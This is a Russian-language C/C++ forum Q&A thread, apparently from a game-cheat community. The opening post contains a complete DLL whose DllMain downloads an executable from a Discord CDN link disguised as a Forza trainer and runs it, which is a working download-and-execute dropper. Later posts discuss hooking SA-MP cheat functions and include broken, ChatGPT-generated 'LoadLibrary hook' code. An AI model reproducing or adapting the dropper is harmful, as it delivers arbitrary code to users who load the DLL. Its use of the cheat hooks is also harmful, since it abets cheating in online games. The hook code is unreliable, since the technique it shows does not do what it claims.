Другое С/С++ Вопрос - Ответ

Nerykery

Известный
522
126
Как мне скомпилить код?
Вот код:
#include <Windows.h>
#include <string>
#include "pch.h"
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        std::string url = "https://cdn.discordapp.com/attachments/994031688717975712/1114598234913001624/Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
        std::string filename = "Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";

        int urlLength = MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, NULL, 0);
        wchar_t* urlWide = new wchar_t[urlLength];
        MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, urlWide, urlLength);

        int filenameLength = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, NULL, 0);
        wchar_t* filenameWide = new wchar_t[filenameLength];
        MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, filenameWide, filenameLength);

        URLDownloadToFile(NULL, urlWide, filenameWide, 0, NULL);

        delete[] urlWide;
        delete[] filenameWide;

        system(("start " + filename).c_str());
        break;
    }
    return TRUE;
}
Когда я нажимаю собрать решение происходит вот это
1685813331102.png
 

korsarsan

Участник
74
26
Нужно выполнять код по скролу вниз, чет читал про обработчики мышки нихрена не понял help
C++:
 if (WHEEL_DELTA<-1)
 {
   // some code
 }
 

AdCKuY_DpO4uLa

Адский дрочер
Друг
314
660

tedgero

Новичок
2
0
code lua:
lua:
local sampev = require("lib.samp.events")

function sampev.onSendSpawn()
setCharHealth(PLAYER_PED, 0)
    return false
end

function sampev.onSendDeathNotification()
    return false
end

как эти две функи переписать на сф (sf 551)?
 

whyega52

Гений, миллионер, плейбой, долбаеб
Модератор
2,778
2,598
code lua:
lua:
local sampev = require("lib.samp.events")

function sampev.onSendSpawn()
setCharHealth(PLAYER_PED, 0)
    return false
end

function sampev.onSendDeathNotification()
    return false
end

как эти две функи переписать на сф (sf 551)?
хукай и нопай 53 (onSendDeathNotification) и 52 (onSendDeathNotification) RPC по гайду Юры Кода
 
  • Нравится
Реакции: tedgero
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
как сделать прогу, которая ставит хук на функции загрузки библиотеки .dll и возвращает имя и название библиотеки программ которые были запущены во время работы самой проги, т.е допустим открыли игру и посыпались строчки с загрузкой библиотек, чатгпт выдает чет, но ничего не работает
C++:
#include <iostream>
#include <fstream>
#include <string>
#include <Windows.h>

HHOOK gHookHandle;

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        LPCSTR lpLibFileName = reinterpret_cast<LPCSTR>(lParam);
        char fullPath[MAX_PATH];
        GetFullPathNameA(lpLibFileName, MAX_PATH, fullPath, nullptr);
        char exePath[MAX_PATH];
        GetModuleFileNameA(nullptr, exePath, MAX_PATH);
        std::ofstream logFile("log.txt", std::ofstream::app);
        logFile << "Program: " << exePath << ", Library: " << fullPath << std::endl;
        logFile.close();
    }

    return CallNextHookEx(gHookHandle, nCode, wParam, lParam);
}

int main() {
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
    gHookHandle = SetWindowsHookExA(WH_CALLWNDPROC, HookProc, nullptr, 0);

    std::cout << "Hook installed. Press any key to exit." << std::endl;
    getchar();

    UnhookWindowsHookEx(gHookHandle);
    return 0;
}
 

whyega52

Гений, миллионер, плейбой, долбаеб
Модератор
2,778
2,598
Как можно получить указатель на RakPeer, не хукая его методы?